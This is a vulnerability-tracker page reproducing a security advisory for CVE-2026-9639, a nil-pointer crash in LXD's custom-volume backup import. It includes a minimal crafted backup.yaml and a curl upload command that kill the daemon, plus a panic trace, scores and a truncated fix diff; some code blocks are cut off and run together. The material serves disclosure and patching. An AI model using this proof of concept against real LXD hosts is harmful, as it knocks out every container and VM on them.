KEVWire

Security intelligence, with context.

Response snapshot Nov 7, 2026, 20:21 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-9639

LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at

(sibling-field variant of CVE-2026-40197 fix 05bc272) (*lxdBackend).CreateCustomVolumeFromBackup in [lxd/storage/backend_lxd.go](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go) contains an unguarded *time.

At a glance

Exploited
Not known
Severity
6.5 Medium (CVSS 3.1)
Chance of exploitation
0.5% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: github.com/canonical/lxd: 0.0.0-20260622081844-85f897013ccd. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-j93m-3j9p-m5m8 (opens a new tab)

What happened

Summary

(sibling-field variant of CVE-2026-40197 fix 05bc272)

(*lxdBackend).CreateCustomVolumeFromBackup in [lxd/storage/backend_lxd.go](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go) contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup.

An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.

Continue reading

This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent *snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with if … !

= nil (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.

Vulnerable code

[lxd/storage/backend_lxd.go](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go), CreateCustomVolumeFromBackup:

// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)
for i, snap := range customVol.Snapshots {
 if snap == nil {
 return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
 }
 err = drivers.ValidVolumeName(snap.Name)
 ...
}

// Line 8196-8216 — the snapshot DB-create loop
for i, s := range customVol.Snapshots {
 if s == nil {
 return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
 }
 snapshot := s
 ...
 // Line 8216 — UNGUARDED *time.Time deref:
 err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
 snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
 *snapshot.ExpiresAt, // /volumes/custom` with `Content-Type: application/octet-stream` and `X-LXD-name: `.
3. Body is a tar containing [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml) with `type: custom`, `volumes[0]` non-nil, and `volumes[0].snapshots[0]` non-nil but missing `expires_at`.
4. `lxd/storage_volumes.go:storagePoolVolumesPost` -> `backup.GetInfo` parses the yaml -> `pool.CreateCustomVolumeFromBackup` -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> `*snapshot.ExpiresAt` on line 8216 panics on the nil `*time.Time`.
5. The Go runtime kills the entire `lxd` daemon process. Repeated POSTs are a persistent denial of service.

Minimal [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml):

yaml name: poc-vol backend: dir pool: default type: custom optimized: false optimized_header: false snapshots: [snap0] config: version: 2 pools: - {name: default, driver: dir, config: {}} volumes: - name: poc-vol type: custom pool: default content_type: filesystem config: {} snapshots: - name: snap0 description: snap0 config: {}

expires_at intentionally omitted


## Proof of concept (end-to-end against running daemon)

Bundled in the report: `make_backup.sh` + the resulting 516-byte `poc-vol-lxd.tar.gz`.

Tested against `lxd 6.8` (HEAD of `canonical/lxd` at the time of testing, built from source with `make deps && go build -tags libsqlite3 ./lxd`). Daemon started with default `dir` storage pool.

bash $ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \ --data-binary @/tmp/poc-vol-lxd.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-LXD-name: poc-vol' \ http://lxd/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep lxd | grep -v grep # daemon GONE


Daemon panic from `/tmp/lxd.out`:

panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]

goroutine 683 [running]: github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...) github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58 main.createStoragePoolVolumeFromBackup.func6(...) github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0 github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...) github.com/canonical/lxd/lxd/operations/operations.

go:588 +0x6c created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655 github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8


Stack frame [`backend_lxd.go:8216`](https://github.com/canonical/lxd/blob/05bc272/backend_lxd.go#L8216) is the literal `*snapshot.ExpiresAt` line.

## Impact

- **Severity:** denial of service against the entire `lxd` daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
- **Privileges required:** any authenticated user with `can_create_storage_volumes` on any project. Not behind the admin tier.
- **Network attack surface:** the LXD REST API on `:8443` or the unix socket.
- **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- **Versions:** confirmed at `lxd 6.8` (HEAD); the same code exists in the v5.21 LTS line as the parent fix `05bc272` was a cherry-pick from incus.

## Suggested fix

Mirror the guard pattern already in use elsewhere in this file:

diff --- a/lxd/storage/backend_lxd.go +++ b/lxd/storage/backend_lxd.go @@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error { snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName) snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)

// Validate config and create database entry for new storage volume. // Str

Affected package ranges reported by GitHub: github.com/canonical/lxd: < 0.0.0-20260622081844-85f897013ccd

Scores and how they were measured

CVSS base severity

6.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.5%

Scored Percentile 46.2%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-j93m-3j9p-m5m8 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j93m-3j9p-m5m8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-9639, scored 2026-11-07. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 6). LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at (CVE-2026-9639). https://kevwire.com/record/CVE-2026-9639

MLA

"LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at (CVE-2026-9639)." KEVWire, 6 Nov. 2026, kevwire.com/record/CVE-2026-9639.

Chicago

KEVWire. "LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at (CVE-2026-9639)." Last modified November 6, 2026. https://kevwire.com/record/CVE-2026-9639.

Evidence summary (plain text)

LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at (Nov 6, 2026).
(sibling-field variant of CVE-2026-40197 fix 05bc272)

(*lxdBackend).CreateCustomVolumeFromBackup in [lxd/storage/backend_lxd.go](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go) contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.
CVSS 6.5 (version 3.1; evidence as of Nov 6, 2026; https://github.com/advisories/GHSA-j93m-3j9p-m5m8).
EPSS 0.5% for the following 30 days, scored Nov 7, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9639&date=2026-11-07).
Sources:
GitHub-reviewed advisory GHSA-j93m-3j9p-m5m8: https://github.com/advisories/GHSA-j93m-3j9p-m5m8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9639&date=2026-11-07
Record ID: CVE-2026-9639.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 7, 2026, 20:21 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail